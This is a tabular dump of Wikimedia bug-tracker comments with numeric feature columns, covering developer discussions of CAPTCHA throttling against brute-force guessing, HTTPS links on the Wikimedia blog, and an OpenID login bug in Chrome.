202739,Other actions beside login should be throttled based on failed captcha attempts,"See also https://gerrit.wikimedia.org/r/#/c/44376 , which as Chris noted there, is relevant to this.  It's an API for reloading CAPTCHAs, which allows an AJAX button.",,,1363639334,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,23.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,3.533333333333333,0.8333333333333334,"See also URL , which as Chris noted there, is relevant to this.  It's an API for reloading CAPTCHAs, which allows an AJAX button."
202732,Other actions beside login should be throttled based on failed captcha attempts,"**carlb613** wrote:

It's not just a question of limiting the number of captchas that a single user can harvest... there needs to be a limit on the number of failed attempts.

Handing them one CAPTCHA and letting them make 4096 guesses at it won't help.

The $wgCaptchaBadLoginAttempts variable actually isn't intended to limit the number of failed CAPTCHA attempts. It's intended to limit the number of bad password attempts on an existing account before subsequent log in attempts require both a CAPTCHA and password be supplied. 

As such, a bot attempting to create 4096 shiny new accounts against Assira by submitting a random 12-bit answer ""dog, cat, dog, dog, dog, cat, dog, dog, dog, cat, dog, dog"" will get one new account and 4095 errors.

If after 'n' consecutive bad CAPTCHA attempts the offending 'bot were simply http://en.uncyclopedia.co/wiki/Banned_from_the_Internet there would be no 4096th attempt to get past Assira.",,,1363632194,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,1.0,1.5,6.0,1.0,0.0,0.0,0.5,1.0,2.5,0.0,0.0,1.0,0.0,1.0,3.0,11.5,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.5,3.0,0.5,1.5,1.0,0.0,0.0,0.0,0.5,1.5,0.5,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,21.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,6.5,1.0,3.0,7.0,0.0,0.0,0.0,0.0,5.5,0.0,4.0,0.0,2.5,11.5,3.0,0.0,2.5,0.0,2.5,0.0,0.0,3.5,1.0,3.0,0.0,0.0,0.0,3.9133258678611424,0.6242441209406495,"**carlb613** wrote:

It's not just a question of limiting the number of captchas that a single user can harvest... there needs to be a limit on the number of failed attempts.

Handing them one CAPTCHA and letting them make 4096 guesses at it won't help.

The $wgCaptchaBadLoginAttempts variable actually isn't intended to limit the number of failed CAPTCHA attempts. It's intended to limit the number of bad password attempts on an existing account before subsequent log in attempts require both a CAPTCHA and password be supplied. 

As such, a bot attempting to create 4096 shiny new accounts against Assira by submitting a random 12-bit answer ""dog, cat, dog, dog, dog, cat, dog, dog, dog, cat, dog, dog"" will get one new account and 4095 errors.

If after 'n' consecutive bad CAPTCHA attempts the offending 'bot were simply URL there would be no 4096th attempt to get past Assira."
202726,Other actions beside login should be throttled based on failed captcha attempts,"Clarifying this a little, the feature request is that we limit the number of captchas that a single user can harvest in a given amount of time.

Maybe keep 2 key in memcache for captcha passes and fails, for each user. And if fails > X and fails / (fails + passes) > Y%, then we refuse to serve up any more captchas?",,,1363392086,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,True,,,-24,True,3.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,3.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,19.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,7.0,4.0,6.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,15.0,4.0,1.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,3.0,3.5416666666666665,0.7361111111111112,"Clarifying this a little, the feature request is that we limit the number of captchas that a single user can harvest in a given amount of time.

Maybe keep 2 key in memcache for captcha passes and fails, for each user. And if fails > X and fails / (fails + passes) > Y%, then we refuse to serve up any more captchas?"
202717,Other actions beside login should be throttled based on failed captcha attempts,"I agree, this would be a very useful feature, although implementing it needs to be handled carefully.

For passwords, you typically either present a captcha, or you introduce an exponentially-increasing delay.

To get a handle on the effect, it would be nice to start logging captcha presentations, in addition to the pass/fail logging that we do. That will let us calculate the pass or fail rate of a single IP or User.

I suspect that if we throttle based on the pass rate, instead of a static number of requests, that would more accurately block someone brute forcing, while not disrupting edits for users who happen to be behind a proxy with a large number of legitimate users.",,,1352823639,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,True,,,-42,True,0.0,0.5,0.5,0.5,0.5,5.5,1.5,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,3.0,1.5,5.0,13.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,4.5,1.5,1.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,12.0,2.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,7.5,2.0,4.5,3.0,2.5,8.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,13.0,2.0,0.0,0.0,0.0,5.0,0.0,1.5,5.0,0.5,2.5,0.5,0.0,0.0,4.078364389233954,0.7410973084886128,"I agree, this would be a very useful feature, although implementing it needs to be handled carefully.

For passwords, you typically either present a captcha, or you introduce an exponentially-increasing delay.

To get a handle on the effect, it would be nice to start logging captcha presentations, in addition to the pass/fail logging that we do. That will let us calculate the pass or fail rate of a single IP or User.

I suspect that if we throttle based on the pass rate, instead of a static number of requests, that would more accurately block someone brute forcing, while not disrupting edits for users who happen to be behind a proxy with a large number of legitimate users."
202712,Other actions beside login should be throttled based on failed captcha attempts,"Maybe a better solution would be to present the user with two CAPTCHAs? It's twice as much work for users, but makes the CAPTCHA exponentially more difficult to crack through guessing. I'm thinking that would be particularly useful for QuestyCaptcha.",,,1352751587,,PHID-USER-h3izjiozzysppsokit7l,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-42,True,2.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,13.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,4.0,13.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,4.586956521739131,0.8695652173913043,"Maybe a better solution would be to present the user with two CAPTCHAs? It's twice as much work for users, but makes the CAPTCHA exponentially more difficult to crack through guessing. I'm thinking that would be particularly useful for QuestyCaptcha."
202708,Other actions beside login should be throttled based on failed captcha attempts,"I agree that this is important, because all the captchas appear to have been cracked. Asirra used to work pretty well, but who knows, maybe the spammers are using brute force to get through all 4,096 (2^12; there are twelve photos with two possibilities, cat or dog, apiece) possibilities. Changing $wgAsirraCellsPerRow doesn't help; if, say, you change it to 8, then it will simply put 8 on the top row and 4 on the bottom, so you still only have 12.

Is there a way to impose a throttle without possibly causing collateral damage to other users of that IP address? Maybe the only solution is to disallow edits by anons, and impose per-account throttles on CAPTCHA attempts. So, e.g., if FooUser256 has x number of bad attempts within a y-second period, he gets throttled.

The problem is, he can use brute force to get through the CAPTCHA to create many accounts, and then sit around making attempts in parallel to get through the CAPTCHA on each account. So, even if there is a throttle, with enough accounts, he can eventually get through.",,,1352702343,,PHID-USER-h3izjiozzysppsokit7l,False,,,PHID-TASK-vg26sfirxv3pffdhwxha,task_subcomment,,True,c2,1,False,,,-42,True,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,4.666666666666667,0.6666666666666666,0.3333333333333333,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,5.333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,12.333333333333334,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,3.0,5.0,2.0,1.6666666666666667,6.333333333333333,0.0,0.0,0.0,0.0,5.333333333333333,0.3333333333333333,3.3333333333333335,0.0,3.0,13.0,2.3333333333333335,0.3333333333333333,0.0,0.0,3.0,0.0,0.3333333333333333,1.6666666666666667,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,3.8694294294294296,0.762102102102102,"I agree that this is important, because all the captchas appear to have been cracked. Asirra used to work pretty well, but who knows, maybe the spammers are using brute force to get through all 4,096 (2^12; there are twelve photos with two possibilities, cat or dog, apiece) possibilities. Changing $wgAsirraCellsPerRow doesn't help; if, say, you change it to 8, then it will simply put 8 on the top row and 4 on the bottom, so you still only have 12.

Is there a way to impose a throttle without possibly causing collateral damage to other users of that IP address? Maybe the only solution is to disallow edits by anons, and impose per-account throttles on CAPTCHA attempts. So, e.g., if FooUser256 has x number of bad attempts within a y-second period, he gets throttled.

The problem is, he can use brute force to get through the CAPTCHA to create many accounts, and then sit around making attempts in parallel to get through the CAPTCHA on each account. So, even if there is a throttle, with enough accounts, he can eventually get through."
41539,Wikimedia blog with https doesn't link to secure wikis,"**Author:** `M8R-udfkkf`

**Description:**
The Wikimedia blog at https://blog.wikimedia.org/ does not link to the secure versions of the various wikis. That is, it links to http://en.wikipedia.org instead of https version.



(Not sure if its the right component)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=37229",Medium,50.0,1345576800,1419134153.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wlku5ja6envbi4cz2etp,False,PHID-TASK-btv5v63th5zlkorpf6wh,task_description,invalid,True,c2,1,False,False,False,-54,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.35,0.6,"**Author:** CODE

**Description:**
The Wikimedia blog at URL does not link to the secure versions of the various wikis. That is, it links to URL instead of https version.



(Not sure if its the right component)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
391825,Wikimedia blog with https doesn't link to secure wikis,"This is now obsolete, as it referred to the old blog before the relaunch on July 31. If there are still HTTP links to the wikis in the theme of the current https://blog.wikimedia.org/ , please file a separate task.",,,1419134153,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-btv5v63th5zlkorpf6wh,task_subcomment,,True,c2,3,True,,,68,True,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,12.0,2.0,0.0,17.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,19.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.619047619047619,0.8333333333333334,"This is now obsolete, as it referred to the old blog before the relaunch on July 31. If there are still HTTP links to the wikis in the theme of the current URL , please file a separate task."
196064,Wikimedia blog with https doesn't link to secure wikis,"Change 138533 abandoned by Withoutaname:
Convert links to https or protocol-relative

https://gerrit.wikimedia.org/r/138533",,,1409878495,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btv5v63th5zlkorpf6wh,task_subcomment,,True,c2,3,False,,,53,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.117647058823529,1.0,"Change 138533 abandoned by Withoutaname:
Convert links to https or protocol-relative

GERRIT_URL"
196059,Wikimedia blog with https doesn't link to secure wikis,"Change 138533 had a related patch set uploaded by Withoutaname:
Convert links to https or protocol-relative

https://gerrit.wikimedia.org/r/138533",,,1402376195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-btv5v63th5zlkorpf6wh,task_subcomment,,True,c2,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.7727272727272725,1.0,"Change 138533 had a related patch set uploaded by Withoutaname:
Convert links to https or protocol-relative

GERRIT_URL"
41435,Automatic login with OpenID does not work,"**Author:** `simone.hinterseher`

**Description:**
After Login with OpenID I get to:

""Verification succeeded
Successful verification and log in as user username.
Your OpenID is https://www.google.com/accounts/o8/id?id=someId
This and further OpenIDs, and an optional account password, can be managed in your preferences.
Return to Main Page.""

When I click on my user profile to add the OpenID to the created profile I get

""Not logged in
You must be logged in to set user preferences.""

I can send me an email reminder of an account password to login later and add the OpenID, but I think the login should be there automatically.

Also, is it possible to automatically add the OpenID to the created user profile?

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1345140360,1345267925.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-o7gis5o32rnf6c7wprme,task_description,declined,True,c2,1,False,False,True,-54,True,0.0,0.0,0.0,1.0,0.5,3.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,0.0,2.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.5,0.5,1.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,3.0,16.0,0.5,2.5,5.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,6.0,9.0,4.0,0.5,2.0,0.0,6.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,0.0,3.7710843373493974,0.6325301204819277,"**Author:** CODE

**Description:**
After Login with OpenID I get to:

""Verification succeeded
Successful verification and log in as user username.
Your OpenID is URL
This and further OpenIDs, and an optional account password, can be managed in your preferences.
Return to Main Page.""

When I click on my user profile to add the OpenID to the created profile I get

""Not logged in
You must be logged in to set user preferences.""

I can send me an email reminder of an account password to login later and add the OpenID, but I think the login should be there automatically.

Also, is it possible to automatically add the OpenID to the created user profile?

--------------------------
**Version**: unspecified
**Severity**: normal"
190306,Automatic login with OpenID does not work,"> I installed the mediawiki with extensions and configurations anew

Good to know. Reinstallation helps in many cases (actually it was my advice in https://bugzilla.wikimedia.org/show_bug.cgi?id=39435#c3 )",,,1345278432,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.95,"QUOTE

Good to know. Reinstallation helps in many cases (actually it was my advice in URL )"
190300,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:

(the versions of anything remained the same)",,,1345267957,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7647058823529411,"**simone.hinterseher** wrote:

(the versions of anything remained the same)"
190295,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:

I installed the mediawiki with extensions and configurations anew. The problem seems to have disappeared. I'm not sure what I did differently.",,,1345267925,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,9.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4411764705882355,0.7941176470588235,"**simone.hinterseher** wrote:

I installed the mediawiki with extensions and configurations anew. The problem seems to have disappeared. I'm not sure what I did differently."
190292,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:

The url of the link already shows the username (link to .../User:username).

Yes it seems a little strange if you don't encounter the same.. if I you need any other information to track down the issue let me know.",,,1345259567,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,2.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,3.6140350877192984,0.7543859649122807,"**simone.hinterseher** wrote:

The url of the link already shows the username (link to .../User:username).

Yes it seems a little strange if you don't encounter the same.. if I you need any other information to track down the issue let me know."
190287,Automatic login with OpenID does not work,"(In reply to comment #8)
> On the Special:OpenIDLogin/Finish page with the title ""Verification succeeded""
> I already see the portlet links changed (username is shown instead of IP).
> However, once I go from there to any other page of the wiki it seems to loose
> the login information, i.e. the IP is shown again instead of the username.
> I tried using Ctrl+F5 on Special:OpenIDLogin/Finish aswell with the same
> result.

Please hover above the portlet link (not clicking) when it already shows the username. Is the url (link) reflecting this change, or has the link still the IP address ?

This was the effect which I fixed one year ago in the mentioned commit, but I did not test that in Chrome then.

I am pretty sure it is an issue of caching, or a context problem, and it is indeed very annoying and difficult to track (I will try with your help).

And, why is my reference implementation with the same Chrome version not showing this effect you described? Strange",,,1345239082,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.5,0.0,2.0,4.0,3.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,3.5,0.5,7.5,6.5,0.0,1.0,0.0,0.0,0.0,2.5,0.5,0.0,0.5,0.0,0.5,0.0,4.5,1.5,2.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,5.5,4.0,11.0,2.0,4.0,8.0,0.0,0.0,0.0,0.5,3.0,0.5,1.0,0.0,7.0,6.5,4.5,1.0,0.0,0.0,7.0,0.0,1.5,1.5,0.0,1.5,0.0,0.0,0.0,3.655383022774327,0.741407867494824,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Please hover above the portlet link (not clicking) when it already shows the username. Is the url (link) reflecting this change, or has the link still the IP address ?

This was the effect which I fixed one year ago in the mentioned commit, but I did not test that in Chrome then.

I am pretty sure it is an issue of caching, or a context problem, and it is indeed very annoying and difficult to track (I will try with your help).

And, why is my reference implementation with the same Chrome version not showing this effect you described? Strange"
190282,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:

Actually, I get a ""Verification error"" when I hit Ctrl+F45 on the Speical:OpenIDLogin/Finish page. But I guess one is normally not supposed to do that anyways right?",,,1345229566,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,23.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,5.0,2.0,2.0,5.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.840909090909091,0.8409090909090909,"**simone.hinterseher** wrote:

Actually, I get a ""Verification error"" when I hit Ctrl+F45 on the Speical:OpenIDLogin/Finish page. But I guess one is normally not supposed to do that anyways right?"
190275,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:

Yes I still have this problem. Only with Chrome.

On the Special:OpenIDLogin/Finish page with the title ""Verification succeeded"" I already see the portlet links changed (username is shown instead of IP). However, once I go from there to any other page of the wiki it seems to loose the login information, i.e. the IP is shown again instead of the username.
I tried using Ctrl+F5 on Special:OpenIDLogin/Finish aswell with the same result.",,,1345229240,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,1.0,0.0,0.0,1.5,0.0,3.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,3.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,6.5,1.5,13.5,1.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,4.0,10.0,4.5,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.94,0.7923529411764705,"**simone.hinterseher** wrote:

Yes I still have this problem. Only with Chrome.

On the Special:OpenIDLogin/Finish page with the title ""Verification succeeded"" I already see the portlet links changed (username is shown instead of IP). However, once I go from there to any other page of the wiki it seems to loose the login information, i.e. the IP is shown again instead of the username.
I tried using Ctrl+F5 on Special:OpenIDLogin/Finish aswell with the same result."
190270,Automatic login with OpenID does not work,"If you still have this problem, you can try something ?

Delete the one account, or merge it with your Sysop account (I use the https://www.mediawiki.org/wiki/Extension:User_Merge_and_Delete extension to merge and delete after successful merging ""new OpenID test user"" accounts with my WikiSysop account. Then I can try again.)

Just ***before*** the stage you are describing as ""When I click on my user profile to add the OpenID to the created profile I get"" press Ctrl+F5 in your browser.

